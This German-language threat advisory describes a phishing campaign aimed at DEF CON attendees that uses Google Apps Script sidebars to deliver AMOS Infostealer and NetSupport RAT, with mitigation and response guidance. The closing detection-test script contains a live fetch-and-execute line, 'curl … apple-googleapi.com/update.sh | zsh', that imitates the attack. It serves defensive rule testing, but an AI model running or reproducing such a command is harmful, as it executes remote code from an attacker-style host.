DEF CON-Phishing zielt Google Apps Script zur Malware-Verteilung ab

Zusammenfassung

Bedrohungsakteure zielen auf Teilnehmer von Cybersicherheitskonferenzen durch Social Engineering auf X, ehemals Twitter, ab, um Malware mittels präparierter Google Docs und betrügerischer DocSend-Installer zu verteilen. Die Kampagne liefert AMOS Infostealer an macOS-Benutzer, während Windows-Opfer eine mehrstufige Nutzlast mit NetSupport RAT und einem Ledger Wallet-Implantat erhalten. Der Angriff missbraucht Google Apps Script-Sidebars und ClickFix-ähnliche Aufforderungen, um Verdacht zu verringern und die Ausführung von bösartigem Code auszulösen.

Untersuchung

Huntress-Forscher interagierten mit dem Bedrohungsakteur, indem sie sich als CoinDesk-Chefs ausgaben, um die vollständige Angriffskette zu beobachten. Die Untersuchung enthüllte einen ausgeklügelten mehrstufigen Prozess mit Google Apps Script, gefälschte Installer, die mit gestohlenen Zertifikaten signiert wurden, und einem lokalen TLS-abfangenden Proxy unter Windows. Forscher identifizierten auch eine sekundäre Phase, die JavaScript im Speicher ausführt und eine bösartige Zertifizierungsbehörde bereitstellt.

Abmilderung

Benutzer sollten unerwartete Anforderungen zur Ausführung von Terminalbefehlen, zur Umgehung des Gatekeepers oder zur Installation manueller Updates von Dokumentensidebars als verdächtig behandeln. Organisationen sollten auf ungewöhnliche Google Apps Script-Aktivitäten und die unautorisierte Verwendung von Code-Signing-Zertifikaten achten. Starke Endpunktkontrollen und eine unabhängige Verifizierung von Dokumentfreigabelinks können die Gefährdung weiter reduzieren.

Reaktion

Wenn bösartige Aktivitäten entdeckt werden, sollte das betroffene System sofort isoliert werden, um Datenexfiltration oder laterale Bewegungen zu stoppen. Responder sollten forensische Beweismittel sichern und erwägen, das Gerät neu zu bespielen, während lokale Anmeldeinformationen und Kryptowährungs-Wallet-Daten als kompromittiert behandelt werden sollten. Aktive Sitzungen sollten widerrufen, Passwörter zurückgesetzt und alle auf dem System gespeicherten API-Schlüssel oder Geheimnisse gedreht werden.

## Simulation Ausführung

Voraussetzung: Die Telemetrie- und Baseline-Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Adversary-Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Detektionslogik erwartet wird. Abstrakte oder unverwandte Beispiele führen zu Fehldiagnosen.

• Angriffs-Narrativ & Befehle: Der Angreifer zielt darauf ab, über den Anschein eines legitimen Google API-Update-Prozesses auf einem macOS-Arbeitsplatz anfangs Zugang zu erhalten. Sie nutzen eine Social-Engineering-Taktik, bei der der Benutzer angewiesen wird, einen Befehl im Terminal auszuführen. Der Befehl verwendet curl um eine Nutzlast von apple-googleapi.com (eine Typosquatting/ Schein-Domain) abzurufen und leitet die Ausgabe direkt in zsh. Dieser „Living-off-the-land“-Ansatz versucht, den forensischen Fußabdruck auf dem Dateisystem zu minimieren, indem der Code direkt aus dem Netzwerkstream ausgeführt wird.

• Regressionstestskript:

  #!/bin/bash
  # Simulationsskript, um die Regel "Potentielle bösartige Shell-Skript-Ausführung" auszulösen.
  # Hinweis: Wir verwenden eine Dummy-URL, die die Domainstruktur nachahmt, um tatsächliche externe Anfragen zu vermeiden, wenn gewünscht,
  # aber damit die Regel ausgelöst wird, MUSS die Befehlszeile 'apple-googleapi.com' enthalten.
  
  echo "[*] Starte Simulation: Nachahmen von bösartigem Shell-Pipe..."
  
  # Dieser Befehl erfüllt alle Bedingungen: 
  # 1. Prozess ist zsh/sh/bash 
  # 2. Enthält 'curl' 
  # 3. Enthält '| zsh' 
  # 4. Enthält 'apple-googleapi.com'
  
  # Wir verwenden eine nicht existierende URL, um die tatsächliche Payload-Ausführung zu verhindern, aber dennoch die Telemetrie zu erzeugen.
  curl -s http://apple-googleapi.com/update.sh | zsh
  
  echo "[*] Simulationsbefehl gesendet."

• Bereinigungskommandos:

  # Keine Dateien werden durch den Angriffs-Befehl selbst auf der Festplatte erstellt, 
  # aber wenn irgendwelche Artefakte generiert wurden, sollten sie entfernt werden.
  rm -f ~/Downloads/update.sh 2>/dev/null
  echo "[*] Bereinigung abgeschlossen."